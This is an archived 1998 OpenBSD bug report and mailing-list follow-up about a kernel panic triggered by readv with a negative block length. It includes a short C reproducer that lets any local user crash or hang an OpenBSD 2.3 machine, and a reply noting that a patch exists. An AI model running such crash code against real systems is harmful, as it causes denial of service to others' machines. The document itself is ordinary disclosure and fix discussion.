openbsdreadv.txt

`Date: Mon, 27 Jul 1998 12:26:36 +0100 (BST)  
From: [email protected]  
To: [email protected]  
X-Send-Pr-Version: 3.97  
Subject: kernel/549: Any user can panic OpenBSD machine  
Sender: [email protected]  
  
>Number: 549  
>Category: kernel  
>Synopsis: readv with -ve block size panics kernel  
>Confidential: yes  
>Severity: critical  
>Priority: high  
>Responsible: bugs  
>State: open  
>Class: sw-bug  
>Submitter-Id: net  
>Arrival-Date: Mon Jul 27 05:40:02 MDT 1998  
>Last-Modified:  
>Originator: Jon Ribbens  
>Organization:  
\/ Jon Ribbens / [email protected]  
>Release: 2.3  
>Environment:  
  
System : OpenBSD 2.3  
Architecture: OpenBSD.i386  
Machine : i386  
>Description:  
readv with one of the blocks having a -ve size panics the kernel.  
Oops.  
  
>How-To-Repeat:  
  
#include <sys/types.h>  
#include <sys/uio.h>  
#include <unistd.h>  
  
int main(void) {  
struct iovec iov[1];  
char buffer[1024];  
  
iov[0].iov_base = buffer;  
iov[0].iov_len = -1;  
  
return readv(0, iov, 1);  
}  
  
run the above program, type a few characters, press return, observe  
either kernel panic or machine hang. panic message is  
"panic: ureadc: non-positive resid". Any user can do this.  
  
  
>Fix:  
Dunno I'm afraid.  
  
  
>Audit-Trail:  
>Unformatted:  
  
----------------------------------------------------------------------------  
  
Date: Mon, 27 Jul 1998 22:05:45 -0600  
From: Theo de Raadt <[email protected]>  
Subject: Re: Fwd: Any user can panic OpenBSD machine  
  
> In response to this, and in response to the person who privately called  
> my forwarding of the bug report "lameness," I have this to say: The  
> bug report was forwarded to some OpenBSD list to which I must have  
> subscribed at one time. If the OpenBSD listfolk didn't want the bug  
> known about then they should have kept it amongst the developers.  
  
I myself take no issue with the disclosure of this bug to people.  
  
Whoopty doo -- another way to crash another operating system has been  
reported. This is twice now that a 'local' OpenBSD crash has made it  
to bugtraq as if it were a typical exploit. Does this now mean  
bugtraq is open ground for reporting any way to crash a multiuser  
operating system? I bet there are plenty of ways to crash any  
operating system, if you have a local account.  
  
However, this bug does not by itself provide anyone with a way to gain  
elevated priviledges and greater control of the system. That is what  
most of us normally call an 'exploit', or has the lingo changed  
recently?  
  
On the other hand, my guess is that people expect a whole lot of  
OpenBSD now, which well, is fine, we will continue to try.. but don't  
get too upset if a few human failings show through. I am on a few  
Linux developer mailing lists, and I see ways to crash Linux get  
discussed all the time. But I have not seen many ways to crash Linux  
on BUGTRAQ, so I think people expect more of us.  
  
That is good -- we'll be trying to meet those expectations :-)  
  
> I for one was appalled at the simplicity of the  
> exploit in what's claimed to be one of the most secure operating  
> systems around, especially since it doesn't appear to be a problem  
> with the other BSDs.  
  
Well, I find it hard to believe that you are making that particular  
statement without bias. We are human, too. We make mistakes from  
time to time. Who knows, maybe tomorrow someone will crash your  
machine using such an `exploit' for your favorite operating system.  
  
That said, the problem is now fixed and a patch is available.  
  
The fix we have now stops the panic, and increases our conformance to  
the XPG standard because we found a few other bugs along the way. I  
bet many systems have similar problems with sendmsg() and recvmsg(),  
and also problems with out-of-range values of iovcnt.  
  
Certainly (I should emphasize this) the XPG standard, and probably  
other standards too, make it clear that EINVAL is NOT a conforming  
result for that particular test code. (Apparently some operating  
system groups are fixing security problems by introducing new bugs).  
Certainly, the subtle non-conformance of system calls has led to  
higher-level security problems before.  
  
In any case, see  
  
www.openbsd.org/errata.html#resid  
  
for a patch which applies to 2.3. Thanks to Todd Miller and Costa  
Sapuntzakis for working on this patch.  
  
Also, please see  
www.openbsd.org/security.html  
  
for information on other security fixes which are far more important,  
yet strangely have not reached BUGTRAQ like this report did.  
  
  
> Black hats distribute these kind of exploits quickly. Let's make sure a  
> few white hats know about them too.  
  
Black hats distribute information on how to crash systems? I thought  
they were concentrating on breaking root.  
`